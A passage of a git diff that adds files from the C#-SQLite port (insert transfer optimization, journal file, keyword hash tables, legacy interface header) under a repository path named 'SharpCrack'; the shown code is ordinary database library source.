HAVING clause. If HAVING is present but + ** there is no ORDER BY, we will get an error. */ + if ( pSelect.pGroupBy != null ) + { + return 0; /* SELECT may not have a GROUP BY clause */ + } + if ( pSelect.pLimit != null ) + { + return 0; /* SELECT may not have a LIMIT clause */ + } + Debug.Assert( pSelect.pOffset == null ); /* Must be so if pLimit==0 */ + if ( pSelect.pPrior != null ) + { + return 0; /* SELECT may not be a compound query */ + } + if ( ( pSelect.selFlags & SF_Distinct ) != 0 ) + { + return 0; /* SELECT may not be DISTINCT */ + } + pEList = pSelect.pEList; + Debug.Assert( pEList != null ); + if ( pEList.nExpr != 1 ) + { + return 0; /* The result set must have exactly one column */ + } + Debug.Assert( pEList.a[0].pExpr != null ); + if ( pEList.a[0].pExpr.op != TK_ALL ) + { + return 0; /* The result set must be the special operator "*" */ + } + + /* At this point we have established that the statement is of the + ** correct syntactic form to participate in this optimization. Now + ** we have to check the semantics. + */ + pItem = pSelect.pSrc.a[0]; + pSrc = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase ); + if ( pSrc == null ) + { + return 0; /* FROM clause does not contain a real table */ + } + if ( pSrc == pDest ) + { + return 0; /* tab1 and tab2 may not be the same table */ + } + if ( ( pSrc.tabFlags & TF_Virtual ) != 0 ) + { + return 0; /* tab2 must not be a virtual table */ + } + if ( pSrc.pSelect != null ) + { + return 0; /* tab2 may not be a view */ + } + if ( pDest.nCol != pSrc.nCol ) + { + return 0; /* Number of columns must be the same in tab1 and tab2 */ + } + if ( pDest.iPKey != pSrc.iPKey ) + { + return 0; /* Both tables must have the same INTEGER PRIMARY KEY */ + } + for ( i = 0; i < pDest.nCol; i++ ) + { + if ( pDest.aCol[i].affinity != pSrc.aCol[i].affinity ) + { + return 0; /* Affinity must be the same on all columns */ + } + if ( !xferCompatibleCollation( pDest.aCol[i].zColl, pSrc.aCol[i].zColl ) ) + { + return 0; /* Collating sequence must be the same on all columns */ + } + if ( pDest.aCol[i].notNull != 0 && pSrc.aCol[i].notNull == 0 ) + { + return 0; /* tab2 must be NOT NULL if tab1 is */ + } + } + for ( pDestIdx = pDest.pIndex; pDestIdx != null; pDestIdx = pDestIdx.pNext ) + { + if ( pDestIdx.onError != OE_None ) + { + destHasUniqueIdx = true; + } + for ( pSrcIdx = pSrc.pIndex; pSrcIdx != null; pSrcIdx = pSrcIdx.pNext ) + { + if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) + break; + } + if ( pSrcIdx == null ) + { + return 0; /* pDestIdx has no corresponding index in pSrc */ + } + } +#if !SQLITE_OMIT_CHECK + if ( pDest.pCheck != null && 0 != sqlite3ExprCompare( pSrc.pCheck, pDest.pCheck ) ) + { + return 0; /* Tables have different CHECK constraints. Ticket #2252 */ + } +#endif +#if !SQLITE_OMIT_FOREIGN_KEY + /* Disallow the transfer optimization if the destination table constains + ** any foreign key constraints. This is more restrictive than necessary. + ** But the main beneficiary of the transfer optimization is the VACUUM + ** command, and the VACUUM command disables foreign key constraints. So + ** the extra complication to make this rule less restrictive is probably + ** not worth the effort. Ticket [6284df89debdfa61db8073e062908af0c9b6118e] + */ + if ( ( pParse.db.flags & SQLITE_ForeignKeys ) != 0 && pDest.pFKey != null ) + { + return 0; + } +#endif + + /* If we get this far, it means either: + ** + ** * We can always do the transfer if the table contains an + ** an integer primary key + ** + ** * We can conditionally do the transfer if the destination + ** table is empty. + */ +#if SQLITE_TEST +#if !TCLSH + sqlite3_xferopt_count++; +#else + sqlite3_xferopt_count.iValue++; +#endif +#endif + iDbSrc = sqlite3SchemaToIndex( pParse.db, pSrc.pSchema ); + v = sqlite3GetVdbe( pParse ); + sqlite3CodeVerifySchema( pParse, iDbSrc ); + iSrc = pParse.nTab++; + iDest = pParse.nTab++; + regAutoinc = autoIncBegin( pParse, iDbDest, pDest ); + sqlite3OpenTable( pParse, iDest, iDbDest, pDest, OP_OpenWrite ); + if ( ( pDest.iPKey < 0 && pDest.pIndex != null ) || destHasUniqueIdx ) + { + /* If tables do not have an INTEGER PRIMARY KEY and there + ** are indices to be copied and the destination is not empty, + ** we have to disallow the transfer optimization because the + ** the rowids might change which will mess up indexing. + ** + ** Or if the destination has a UNIQUE index and is not empty, + ** we also disallow the transfer optimization because we cannot + ** insure that all entries in the union of DEST and SRC will be + ** unique. + */ + addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iDest, 0 ); + emptyDestTest = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ); + sqlite3VdbeJumpHere( v, addr1 ); + } + else + { + emptyDestTest = 0; + } + sqlite3OpenTable( pParse, iSrc, iDbSrc, pSrc, OP_OpenRead ); + emptySrcTest = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 ); + regData = sqlite3GetTempReg( pParse ); + regRowid = sqlite3GetTempReg( pParse ); + if ( pDest.iPKey >= 0 ) + { + addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid ); + addr2 = sqlite3VdbeAddOp3( v, OP_NotExists, iDest, 0, regRowid ); + sqlite3HaltConstraint( + pParse, onError, "PRIMARY KEY must be unique", P4_STATIC ); + sqlite3VdbeJumpHere( v, addr2 ); + autoIncStep( pParse, regAutoinc, regRowid ); + } + else if ( pDest.pIndex == null ) + { + addr1 = sqlite3VdbeAddOp2( v, OP_NewRowid, iDest, regRowid ); + } + else + { + addr1 = sqlite3VdbeAddOp2( v, OP_Rowid, iSrc, regRowid ); + Debug.Assert( ( pDest.tabFlags & TF_Autoincrement ) == 0 ); + } + sqlite3VdbeAddOp2( v, OP_RowData, iSrc, regData ); + sqlite3VdbeAddOp3( v, OP_Insert, iDest, regData, regRowid ); + sqlite3VdbeChangeP5( v, OPFLAG_NCHANGE | OPFLAG_LASTROWID | OPFLAG_APPEND ); + sqlite3VdbeChangeP4( v, -1, pDest.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 ); + for ( pDestIdx = pDest.pIndex; pDestIdx != null; pDestIdx = pDestIdx.pNext ) + { + for ( pSrcIdx = pSrc.pIndex; pSrcIdx != null; pSrcIdx = pSrcIdx.pNext ) + { + if ( xferCompatibleIndex( pDestIdx, pSrcIdx ) ) + break; + } + Debug.Assert( pSrcIdx != null ); + sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 ); + sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); + pKey = sqlite3IndexKeyinfo( pParse, pSrcIdx ); + sqlite3VdbeAddOp4( v, OP_OpenRead, iSrc, pSrcIdx.tnum, iDbSrc, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pSrcIdx.zName ); +#endif + pKey = sqlite3IndexKeyinfo( pParse, pDestIdx ); + sqlite3VdbeAddOp4( v, OP_OpenWrite, iDest, pDestIdx.tnum, iDbDest, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pDestIdx.zName ); +#endif + addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iSrc, 0 ); + sqlite3VdbeAddOp2( v, OP_RowKey, iSrc, regData ); + sqlite3VdbeAddOp3( v, OP_IdxInsert, iDest, regData, 1 ); + sqlite3VdbeAddOp2( v, OP_Next, iSrc, addr1 + 1 ); + sqlite3VdbeJumpHere( v, addr1 ); + } + sqlite3VdbeJumpHere( v, emptySrcTest ); + sqlite3ReleaseTempReg( pParse, regRowid ); + sqlite3ReleaseTempReg( pParse, regData ); + sqlite3VdbeAddOp2( v, OP_Close, iSrc, 0 ); + sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); + if ( emptyDestTest != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_OK, 0 ); + sqlite3VdbeJumpHere( v, emptyDestTest ); + sqlite3VdbeAddOp2( v, OP_Close, iDest, 0 ); + return 0; + } + else + { + return 1; + } + } +#endif // * SQLITE_OMIT_XFER_OPT */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/journal_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/journal_c.cs new file mode 100644 index 0000000..e6aaf75 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/journal_c.cs @@ -0,0 +1,250 @@ +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2007 August 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file implements a special kind of sqlite3_file object used + ** by SQLite to create journal files if the atomic-write optimization + ** is enabled. + ** + ** The distinctive characteristic of this sqlite3_file is that the + ** actual on disk file is created lazily. When the file is created, + ** the caller specifies a buffer size for an in-memory buffer to + ** be used to service read() and write() requests. The actual file + ** on disk is not created or populated until either: + ** + ** 1) The in-memory representation grows too large for the allocated + ** buffer, or + ** 2) The sqlite3JournalCreate() function is called. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ +#if SQLITE_ENABLE_ATOMIC_WRITE + //#include "sqliteInt.h" + +/* +** A JournalFile object is a subclass of sqlite3_file used by +** as an open file handle for journal files. +*/ +struct JournalFile { +sqlite3_io_methods pMethod; /* I/O methods on journal files */ +int nBuf; /* Size of zBuf[] in bytes */ +string zBuf; /* Space to buffer journal writes */ +int iSize; /* Amount of zBuf[] currently used */ +int flags; /* xOpen flags */ +sqlite3_vfs pVfs; /* The "real" underlying VFS */ +sqlite3_file pReal; /* The "real" underlying file descriptor */ +string zJournal; /* Name of the journal file */ +}; +typedef struct JournalFile JournalFile; + +/* +** If it does not already exists, create and populate the on-disk file +** for JournalFile p. +*/ +static int createFile(JournalFile p){ +int rc = SQLITE_OK; +if( null==p.pReal ){ +sqlite3_file pReal = (sqlite3_file )&p[1]; +rc = sqlite3OsOpen(p.pVfs, p.zJournal, pReal, p.flags, 0); +if( rc==SQLITE_OK ){ +p.pReal = pReal; +if( p.iSize>0 ){ +Debug.Assert(p.iSize<=p.nBuf); +rc = sqlite3OsWrite(p.pReal, p.zBuf, p.iSize, 0); +} +} +} +return rc; +} + +/* +** Close the file. +*/ +static int jrnlClose(sqlite3_file pJfd){ +JournalFile p = (JournalFile )pJfd; +if( p.pReal ){ +sqlite3OsClose(p.pReal); +} +sqlite3DbFree(db,p.zBuf); +return SQLITE_OK; +} + +/* +** Read data from the file. +*/ +static int jrnlRead( +sqlite3_file *pJfd, /* The journal file from which to read */ +void *zBuf, /* Put the results here */ +int iAmt, /* Number of bytes to read */ +sqlite_int64 iOfst /* Begin reading at this offset */ +){ +int rc = SQLITE_OK; +JournalFile *p = (JournalFile )pJfd; +if( p->pReal ){ +rc = sqlite3OsRead(p->pReal, zBuf, iAmt, iOfst); +}else if( (iAmt+iOfst)>p->iSize ){ +rc = SQLITE_IOERR_SHORT_READ; +}else{ +memcpy(zBuf, &p->zBuf[iOfst], iAmt); +} +return rc; +} + +/* +** Write data to the file. +*/ +static int jrnlWrite( +sqlite3_file pJfd, /* The journal file into which to write */ +string zBuf, /* Take data to be written from here */ +int iAmt, /* Number of bytes to write */ +sqlite_int64 iOfst /* Begin writing at this offset into the file */ +){ +int rc = SQLITE_OK; +JournalFile p = (JournalFile )pJfd; +if( null==p.pReal && (iOfst+iAmt)>p.nBuf ){ +rc = createFile(p); +} +if( rc==SQLITE_OK ){ +if( p.pReal ){ +rc = sqlite3OsWrite(p.pReal, zBuf, iAmt, iOfst); +}else{ +memcpy(p.zBuf[iOfst], zBuf, iAmt); +if( p.iSize<(iOfst+iAmt) ){ +p.iSize = (iOfst+iAmt); +} +} +} +return rc; +} + +/* +** Truncate the file. +*/ +static int jrnlTruncate(sqlite3_file pJfd, sqlite_int64 size){ +int rc = SQLITE_OK; +JournalFile p = (JournalFile )pJfd; +if( p.pReal ){ +rc = sqlite3OsTruncate(p.pReal, size); +}else if( size0 ){ +p.zBuf = sqlite3MallocZero(nBuf); +if( null==p.zBuf ){ +return SQLITE_NOMEM; +} +}else{ +return sqlite3OsOpen(pVfs, zName, pJfd, flags, 0); +} +p.pMethod = JournalFileMethods; +p.nBuf = nBuf; +p.flags = flags; +p.zJournal = zName; +p.pVfs = pVfs; +return SQLITE_OK; +} + +/* +** If the argument p points to a JournalFile structure, and the underlying +** file has not yet been created, create it now. +*/ +int sqlite3JournalCreate(sqlite3_file p){ +if( p.pMethods!=&JournalFileMethods ){ +return SQLITE_OK; +} +return createFile((JournalFile )p); +} + +/* +** Return the number of bytes required to store a JournalFile that uses vfs +** pVfs to create the underlying on-disk files. +*/ +int sqlite3JournalSize(sqlite3_vfs pVfs){ +return (pVfs->szOsFile+sizeof(JournalFile)); +} +#endif + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/keywordhash_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/keywordhash_h.cs new file mode 100644 index 0000000..c509676 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/keywordhash_h.cs @@ -0,0 +1,303 @@ +using System.Diagnostics; +using System; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /***** This file contains automatically generated code ****** + ** + ** The code in this file has been automatically generated by + ** + ** sqlite/tool/mkkeywordhash.c + ** + ** The code in this file implements a function that determines whether + ** or not a given identifier is really an SQL keyword. The same thing + ** might be implemented more directly using a hand-written hash table. + ** But by using this automatically generated code, the size of the code + ** is substantially reduced. This is important for embedded applications + ** on platforms with limited memory. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + /* Hash score: 175 */ + /* zText[] encodes 811 bytes of keywords in 541 bytes */ + /* REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECT */ + /* ABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVE */ + /* XISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARY */ + /* UNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKE */ + /* CASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOIN */ + /* SERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAME */ + /* AFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSS */ + /* CURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIF */ + /* ISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEW */ + /* INITIALLY */ +static string zText = new string( new char[540] { +'R','E','I','N','D','E','X','E','D','E','S','C','A','P','E','A','C','H', +'E','C','K','E','Y','B','E','F','O','R','E','I','G','N','O','R','E','G', +'E','X','P','L','A','I','N','S','T','E','A','D','D','A','T','A','B','A', +'S','E','L','E','C','T','A','B','L','E','F','T','H','E','N','D','E','F', +'E','R','R','A','B','L','E','L','S','E','X','C','E','P','T','R','A','N', +'S','A','C','T','I','O','N','A','T','U','R','A','L','T','E','R','A','I', +'S','E','X','C','L','U','S','I','V','E','X','I','S','T','S','A','V','E', +'P','O','I','N','T','E','R','S','E','C','T','R','I','G','G', +#if !SQLITE_OMIT_TRIGGER +'E', +#else +'\0', +#endif +'R', +#if !SQLITE_OMIT_FOREIGN_KEY +'E', +#else +'\0', +#endif +'F','E','R','E','N','C','E','S','C','O','N','S','T','R','A','I','N','T', +'O','F','F','S','E','T','E','M','P','O','R','A','R','Y','U','N','I','Q', +'U','E','R','Y','A','T','T','A','C','H','A','V','I','N','G','R','O','U', +'P','D','A','T','E','B','E','G','I','N','N','E','R','E','L','E','A','S', +'E','B','E','T','W','E','E','N','O','T','N','U','L','L','I','K','E','C', +'A','S','C','A','D','E','L','E','T','E','C','A','S','E','C','O','L','L', +'A','T','E','C','R','E','A','T','E','C','U','R','R','E','N','T','_','D', +'A','T','E','D','E','T','A','C','H','I','M','M','E','D','I','A','T','E', +'J','O','I','N','S','E','R','T','M','A','T','C','H','P','L','A','N','A', +'L','Y','Z','E','P','R','A','G','M','A','B','O','R','T','V','A','L','U', +'E','S','V','I','R','T','U','A','L','I','M','I','T','W','H','E','N','W', +'H','E','R','E','N','A','M','E','A','F','T','E','R','E','P','L','A','C', +'E','A','N','D','E','F','A','U','L','T','A','U','T','O','I','N','C','R', +'E','M','E','N','T','C','A','S','T','C','O','L','U','M','N','C','O','M', +'M','I','T','C','O','N','F','L','I','C','T','C','R','O','S','S','C','U', +'R','R','E','N','T','_','T','I','M','E','S','T','A','M','P','R','I','M', +'A','R','Y','D','E','F','E','R','R','E','D','I','S','T','I','N','C','T', +'D','R','O','P','F','A','I','L','F','R','O','M','F','U','L','L','G','L', +'O','B','Y','I','F','I','S','N','U','L','L','O','R','D','E','R','E','S', +'T','R','I','C','T','O','U','T','E','R','I','G','H','T','R','O','L','L', +'B','A','C','K','R','O','W','U','N','I','O','N','U','S','I','N','G','V', +'A','C','U','U','M','V','I','E','W','I','N','I','T','I','A','L','L','Y', +} ); + +static byte[] aHash = { //aHash[127] + 72, 101, 114, 70, 0, 45, 0, 0, 78, 0, 73, 0, 0, + 42, 12, 74, 15, 0, 113, 81, 50, 108, 0, 19, 0, 0, + 118, 0, 116, 111, 0, 22, 89, 0, 9, 0, 0, 66, 67, + 0, 65, 6, 0, 48, 86, 98, 0, 115, 97, 0, 0, 44, + 0, 99, 24, 0, 17, 0, 119, 49, 23, 0, 5, 106, 25, + 92, 0, 0, 121, 102, 56, 120, 53, 28, 51, 0, 87, 0, + 96, 26, 0, 95, 0, 0, 0, 91, 88, 93, 84, 105, 14, + 39, 104, 0, 77, 0, 18, 85, 107, 32, 0, 117, 76, 109, + 58, 46, 80, 0, 0, 90, 40, 0, 112, 0, 36, 0, 0, + 29, 0, 82, 59, 60, 0, 20, 57, 0, 52, +}; +static byte[] aNext = { //aNext[121] + 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 2, 0, 0, 0, 0, 0, 0, 13, 0, 0, 0, 0, + 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 33, 0, 21, 0, 0, 0, 43, 3, 47, + 0, 0, 0, 0, 30, 0, 54, 0, 38, 0, 0, 0, 1, + 62, 0, 0, 63, 0, 41, 0, 0, 0, 0, 0, 0, 0, + 61, 0, 0, 0, 0, 31, 55, 16, 34, 10, 0, 0, 0, + 0, 0, 0, 0, 11, 68, 75, 0, 8, 0, 100, 94, 0, + 103, 0, 83, 0, 71, 0, 0, 110, 27, 37, 69, 79, 0, + 35, 64, 0, 0, +}; +static byte[] aLen = { //aLen[121] + 7, 7, 5, 4, 6, 4, 5, 3, 6, 7, 3, 6, 6, + 7, 7, 3, 8, 2, 6, 5, 4, 4, 3, 10, 4, 6, + 11, 6, 2, 7, 5, 5, 9, 6, 9, 9, 7, 10, 10, + 4, 6, 2, 3, 9, 4, 2, 6, 5, 6, 6, 5, 6, + 5, 5, 7, 7, 7, 3, 2, 4, 4, 7, 3, 6, 4, + 7, 6, 12, 6, 9, 4, 6, 5, 4, 7, 6, 5, 6, + 7, 5, 4, 5, 6, 5, 7, 3, 7, 13, 2, 2, 4, + 6, 6, 8, 5, 17, 12, 7, 8, 8, 2, 4, 4, 4, + 4, 4, 2, 2, 6, 5, 8, 5, 5, 8, 3, 5, 5, + 6, 4, 9, 3, +}; + static int[] aOffset = { //aOffset[121] + 0, 2, 2, 8, 9, 14, 16, 20, 23, 25, 25, 29, 33, + 36, 41, 46, 48, 53, 54, 59, 62, 65, 67, 69, 78, 81, + 86, 91, 95, 96, 101, 105, 109, 117, 122, 128, 136, 142, 152, + 159, 162, 162, 165, 167, 167, 171, 176, 179, 184, 189, 194, 197, + 203, 206, 210, 217, 223, 223, 223, 226, 229, 233, 234, 238, 244, + 248, 255, 261, 273, 279, 288, 290, 296, 301, 303, 310, 315, 320, + 326, 332, 337, 341, 344, 350, 354, 361, 363, 370, 372, 374, 383, + 387, 393, 399, 407, 412, 412, 428, 435, 442, 443, 450, 454, 458, + 462, 466, 469, 471, 473, 479, 483, 491, 495, 500, 508, 511, 516, + 521, 527, 531, 536, +}; +static byte[] aCode = { //aCode[121 + TK_REINDEX, TK_INDEXED, TK_INDEX, TK_DESC, TK_ESCAPE, + TK_EACH, TK_CHECK, TK_KEY, TK_BEFORE, TK_FOREIGN, + TK_FOR, TK_IGNORE, TK_LIKE_KW, TK_EXPLAIN, TK_INSTEAD, + TK_ADD, TK_DATABASE, TK_AS, TK_SELECT, TK_TABLE, + TK_JOIN_KW, TK_THEN, TK_END, TK_DEFERRABLE, TK_ELSE, + TK_EXCEPT, TK_TRANSACTION,TK_ACTION, TK_ON, TK_JOIN_KW, + TK_ALTER, TK_RAISE, TK_EXCLUSIVE, TK_EXISTS, TK_SAVEPOINT, + TK_INTERSECT, TK_TRIGGER, TK_REFERENCES, TK_CONSTRAINT, TK_INTO, + TK_OFFSET, TK_OF, TK_SET, TK_TEMP, TK_TEMP, + TK_OR, TK_UNIQUE, TK_QUERY, TK_ATTACH, TK_HAVING, + TK_GROUP, TK_UPDATE, TK_BEGIN, TK_JOIN_KW, TK_RELEASE, + TK_BETWEEN, TK_NOTNULL, TK_NOT, TK_NO, TK_NULL, + TK_LIKE_KW, TK_CASCADE, TK_ASC, TK_DELETE, TK_CASE, + TK_COLLATE, TK_CREATE, TK_CTIME_KW, TK_DETACH, TK_IMMEDIATE, + TK_JOIN, TK_INSERT, TK_MATCH, TK_PLAN, TK_ANALYZE, + TK_PRAGMA, TK_ABORT, TK_VALUES, TK_VIRTUAL, TK_LIMIT, + TK_WHEN, TK_WHERE, TK_RENAME, TK_AFTER, TK_REPLACE, + TK_AND, TK_DEFAULT, TK_AUTOINCR, TK_TO, TK_IN, + TK_CAST, TK_COLUMNKW, TK_COMMIT, TK_CONFLICT, TK_JOIN_KW, + TK_CTIME_KW, TK_CTIME_KW, TK_PRIMARY, TK_DEFERRED, TK_DISTINCT, + TK_IS, TK_DROP, TK_FAIL, TK_FROM, TK_JOIN_KW, + TK_LIKE_KW, TK_BY, TK_IF, TK_ISNULL, TK_ORDER, + TK_RESTRICT, TK_JOIN_KW, TK_JOIN_KW, TK_ROLLBACK, TK_ROW, + TK_UNION, TK_USING, TK_VACUUM, TK_VIEW, TK_INITIALLY, + TK_ALL, +}; +static int keywordCode( string z, int iOffset, int n ) +{ + int h, i; + if ( n < 2 ) + return TK_ID; + h = ( ( sqlite3UpperToLower[z[iOffset + 0]] ) * 4 ^//(charMap(z[iOffset+0]) * 4) ^ + ( sqlite3UpperToLower[z[iOffset + n - 1]] * 3 ) ^ //(charMap(z[iOffset+n - 1]) * 3) ^ + n ) % 127; + for ( i = ( aHash[h] ) - 1; i >= 0; i = ( aNext[i] ) - 1 ) + { + if ( aLen[i] == n && String.Compare( zText, aOffset[i], z, iOffset, n, StringComparison.InvariantCultureIgnoreCase ) == 0 ) + { + testcase( i == 0 ); /* REINDEX */ + testcase( i == 1 ); /* INDEXED */ + testcase( i == 2 ); /* INDEX */ + testcase( i == 3 ); /* DESC */ + testcase( i == 4 ); /* ESCAPE */ + testcase( i == 5 ); /* EACH */ + testcase( i == 6 ); /* CHECK */ + testcase( i == 7 ); /* KEY */ + testcase( i == 8 ); /* BEFORE */ + testcase( i == 9 ); /* FOREIGN */ + testcase( i == 10 ); /* FOR */ + testcase( i == 11 ); /* IGNORE */ + testcase( i == 12 ); /* REGEXP */ + testcase( i == 13 ); /* EXPLAIN */ + testcase( i == 14 ); /* INSTEAD */ + testcase( i == 15 ); /* ADD */ + testcase( i == 16 ); /* DATABASE */ + testcase( i == 17 ); /* AS */ + testcase( i == 18 ); /* SELECT */ + testcase( i == 19 ); /* TABLE */ + testcase( i == 20 ); /* LEFT */ + testcase( i == 21 ); /* THEN */ + testcase( i == 22 ); /* END */ + testcase( i == 23 ); /* DEFERRABLE */ + testcase( i == 24 ); /* ELSE */ + testcase( i == 25 ); /* EXCEPT */ + testcase( i == 26 ); /* TRANSACTION */ + testcase( i == 27 ); /* ACTION */ + testcase( i == 28 ); /* ON */ + testcase( i == 29 ); /* NATURAL */ + testcase( i == 30 ); /* ALTER */ + testcase( i == 31 ); /* RAISE */ + testcase( i == 32 ); /* EXCLUSIVE */ + testcase( i == 33 ); /* EXISTS */ + testcase( i == 34 ); /* SAVEPOINT */ + testcase( i == 35 ); /* INTERSECT */ + testcase( i == 36 ); /* TRIGGER */ + testcase( i == 37 ); /* REFERENCES */ + testcase( i == 38 ); /* CONSTRAINT */ + testcase( i == 39 ); /* INTO */ + testcase( i == 40 ); /* OFFSET */ + testcase( i == 41 ); /* OF */ + testcase( i == 42 ); /* SET */ + testcase( i == 43 ); /* TEMPORARY */ + testcase( i == 44 ); /* TEMP */ + testcase( i == 45 ); /* OR */ + testcase( i == 46 ); /* UNIQUE */ + testcase( i == 47 ); /* QUERY */ + testcase( i == 48 ); /* ATTACH */ + testcase( i == 49 ); /* HAVING */ + testcase( i == 50 ); /* GROUP */ + testcase( i == 51 ); /* UPDATE */ + testcase( i == 52 ); /* BEGIN */ + testcase( i == 53 ); /* INNER */ + testcase( i == 54 ); /* RELEASE */ + testcase( i == 55 ); /* BETWEEN */ + testcase( i == 56 ); /* NOTNULL */ + testcase( i == 57 ); /* NOT */ + testcase( i == 58 ); /* NO */ + testcase( i == 59 ); /* NULL */ + testcase( i == 60 ); /* LIKE */ + testcase( i == 61 ); /* CASCADE */ + testcase( i == 62 ); /* ASC */ + testcase( i == 63 ); /* DELETE */ + testcase( i == 64 ); /* CASE */ + testcase( i == 65 ); /* COLLATE */ + testcase( i == 66 ); /* CREATE */ + testcase( i == 67 ); /* CURRENT_DATE */ + testcase( i == 68 ); /* DETACH */ + testcase( i == 69 ); /* IMMEDIATE */ + testcase( i == 70 ); /* JOIN */ + testcase( i == 71 ); /* INSERT */ + testcase( i == 72 ); /* MATCH */ + testcase( i == 73 ); /* PLAN */ + testcase( i == 74 ); /* ANALYZE */ + testcase( i == 75 ); /* PRAGMA */ + testcase( i == 76 ); /* ABORT */ + testcase( i == 77 ); /* VALUES */ + testcase( i == 78 ); /* VIRTUAL */ + testcase( i == 79 ); /* LIMIT */ + testcase( i == 80 ); /* WHEN */ + testcase( i == 81 ); /* WHERE */ + testcase( i == 82 ); /* RENAME */ + testcase( i == 83 ); /* AFTER */ + testcase( i == 84 ); /* REPLACE */ + testcase( i == 85 ); /* AND */ + testcase( i == 86 ); /* DEFAULT */ + testcase( i == 87 ); /* AUTOINCREMENT */ + testcase( i == 88 ); /* TO */ + testcase( i == 89 ); /* IN */ + testcase( i == 90 ); /* CAST */ + testcase( i == 91 ); /* COLUMN */ + testcase( i == 92 ); /* COMMIT */ + testcase( i == 93 ); /* CONFLICT */ + testcase( i == 94 ); /* CROSS */ + testcase( i == 95 ); /* CURRENT_TIMESTAMP */ + testcase( i == 96 ); /* CURRENT_TIME */ + testcase( i == 97 ); /* PRIMARY */ + testcase( i == 98 ); /* DEFERRED */ + testcase( i == 99 ); /* DISTINCT */ + testcase( i == 100 ); /* IS */ + testcase( i == 101 ); /* DROP */ + testcase( i == 102 ); /* FAIL */ + testcase( i == 103 ); /* FROM */ + testcase( i == 104 ); /* FULL */ + testcase( i == 105 ); /* GLOB */ + testcase( i == 106 ); /* BY */ + testcase( i == 107 ); /* IF */ + testcase( i == 108 ); /* ISNULL */ + testcase( i == 109 ); /* ORDER */ + testcase( i == 110 ); /* RESTRICT */ + testcase( i == 111 ); /* OUTER */ + testcase( i == 112 ); /* RIGHT */ + testcase( i == 113 ); /* ROLLBACK */ + testcase( i == 114 ); /* ROW */ + testcase( i == 115 ); /* UNION */ + testcase( i == 116 ); /* USING */ + testcase( i == 117 ); /* VACUUM */ + testcase( i == 118 ); /* VIEW */ + testcase( i == 119 ); /* INITIALLY */ + testcase( i == 120 ); /* ALL */ + return aCode[i]; + } + } + return TK_ID; + } + static int sqlite3KeywordCode( string z, int n ) + { + return keywordCode( z, 0, n ); + } + public const int SQLITE_N_KEYWORD = 121;//#define SQLITE_N_KEYWORD 121 + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/legacy_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/legacy_c.cs new file mode 100644 index 0000000..4363bc2 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/legacy_c.cs @@ -0,0 +1,237 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace Community.CsharpSqlite +{ + using sqlite3_callback = Sqlite3.dxCallback; + using sqlite3_stmt = Sqlite3.Vdbe; + + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Main file for the SQLite library. The routines in this file + ** implement the programmer interface to the library. Routines in + ** other files are for internal use by SQLite and should not be + ** accessed by users of the library. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 